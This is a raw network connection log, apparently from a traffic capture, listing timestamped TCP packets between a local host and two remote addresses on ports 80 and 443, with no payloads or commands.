Feb 5, 2024 10:57:30.663865089 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.663918972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.663937092 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.663954020 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.663978100 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664107084 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.664161921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664307117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664325953 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664343119 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664486885 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.664486885 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.664612055 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664697886 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664716959 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664733887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664752007 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.664756060 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.664788961 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.665421009 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.665441036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.665457964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.665471077 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.665498972 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.665743113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.665762901 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.665781021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.665808916 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.666177988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.666201115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.666218996 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.666233063 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.666237116 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.666254997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.666275024 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.666300058 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.754298925 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754332066 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754350901 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754360914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754378080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754420042 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.754590034 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754628897 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754632950 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.754650116 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.754683971 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.755109072 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.755160093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.755178928 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.755198002 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.755207062 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.755217075 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.755233049 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.755979061 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.756000042 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.756017923 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.756026983 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.756036997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.756055117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.756061077 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.756140947 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.757138968 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757169008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757188082 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757205963 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757211924 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.757225990 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757246017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757250071 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.757266045 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757286072 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.757292032 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.757322073 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.758021116 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758039951 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758058071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758071899 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.758080006 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758099079 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758121014 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.758775949 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758814096 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.758852005 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758872032 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758891106 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758909941 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.758915901 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.758948088 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.759660006 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.759682894 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.759699106 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.759716034 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.759727001 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.759740114 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.759753942 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.760418892 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.760437965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.760463953 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.760488033 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.760509014 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.760526896 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.760533094 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.760565996 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.761234999 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.844892979 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.844958067 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.844975948 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.844996929 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.844999075 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.845021009 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845086098 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.845086098 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.845092058 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845113039 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845132113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845161915 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.845647097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845666885 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845685005 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845696926 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.845704079 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845726013 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.845738888 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.845769882 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.846404076 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.846424103 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.846441984 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.846458912 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.846470118 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.846477985 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.846508026 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.847096920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847115993 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847134113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847141027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.847151995 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847174883 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.847181082 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847223043 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.847924948 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847944021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.847979069 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.848006964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848030090 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848047972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848069906 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.848691940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848732948 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.848768950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848788023 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848804951 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848823071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.848830938 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.848865032 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.849524021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.849659920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.849678993 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.849695921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.849700928 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.849718094 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.849744081 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.850433111 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.850455046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.850476980 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.850483894 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.850495100 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.850512981 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.850523949 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.850554943 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.851241112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.851262093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.851279974 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.851296902 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.851304054 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.851315022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.851337910 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.852031946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852051973 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852071047 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852101088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852122068 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852267027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.852267027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.852267027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.852886915 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852956057 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852973938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.852993011 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853003025 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.853010893 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853037119 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.853724003 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853756905 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853770018 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.853776932 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853796959 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853815079 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.853823900 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.853857040 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.854501963 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.854522943 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.854541063 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.854562044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.854576111 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.854581118 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.854609966 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.855350018 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.855393887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.855411053 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.855428934 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.855428934 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.855449915 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.855458975 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.855498075 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.856131077 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.856158018 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.856175900 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.856206894 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.856209040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.856230974 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.856256008 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.857023954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857043028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857068062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857069016 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.857091904 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857110023 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857119083 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.857167959 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.857819080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857839108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857856989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857877016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857903004 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.857904911 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.857933044 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.858594894 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.858660936 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.916541100 CET	443	49737	104.21.94.2	192.168.2.4
Feb 5, 2024 10:57:30.916634083 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:30.929095030 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:30.929126978 CET	443	49737	104.21.94.2	192.168.2.4
Feb 5, 2024 10:57:30.930119991 CET	443	49737	104.21.94.2	192.168.2.4
Feb 5, 2024 10:57:30.935328960 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935353041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935369968 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935386896 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935405016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935437918 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.935439110 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.935702085 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935720921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935739040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.935751915 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.935782909 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.937431097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937474012 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937489986 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937506914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937525988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937536955 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.937567949 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.937725067 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937769890 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.937792063 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937809944 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937828064 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937844992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.937851906 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.937906981 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.938616991 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.938635111 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.938651085 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.938668013 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.938684940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.938684940 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.938714981 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.939349890 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.939390898 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.939429998 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.939448118 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.939465046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.939490080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.939496994 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.939531088 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.940222025 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.940239906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.940257072 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.940274954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.940278053 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.940299988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.940310955 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.941025019 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941041946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941061974 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941073895 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.941080093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941098928 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941104889 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.941135883 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.941884041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941910028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941926956 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941943884 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941951036 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.941962004 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.941989899 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.942673922 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.942723036 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.942754030 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.942771912 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.942789078 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.942807913 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.942809105 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.942847967 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.943568945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.943587065 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.943603992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.943628073 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.943631887 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.943645954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.943670034 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.944405079 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.944422960 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.944441080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.944447994 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.944461107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.944478989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.944480896 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.944518089 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.945146084 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.945233107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.945250988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.945267916 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.945274115 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.945286036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.945305109 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.945996046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946014881 CET	80	49736	104.21.67.46	192.168.2.4
